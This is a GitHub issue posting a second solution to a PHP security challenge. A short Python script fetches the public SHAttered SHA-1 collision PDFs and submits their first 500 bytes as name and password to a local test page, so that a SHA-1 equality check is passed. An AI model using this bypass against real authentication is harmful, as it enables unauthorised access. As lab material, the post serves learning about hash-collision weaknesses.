php_bugs icon indicating copy to clipboard operation
php_bugs copied to clipboard

07解法二

Open HandsomeCat00 opened this issue 4 years ago • 0 comments

根据sha碰撞https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html import requests import urllib2 sha1 = urllib2.urlopen("http://shattered.io/static/shattered-1.pdf").read()[:500] sha2 = urllib2.urlopen("http://shattered.io/static/shattered-2.pdf").read()[:500]

r = requests.get('http://127.0.0.1/07sha.php/', params={'name': sha1, 'password': sha2}) print r.text

HandsomeCat00 avatar Feb 08 '21 08:02 HandsomeCat00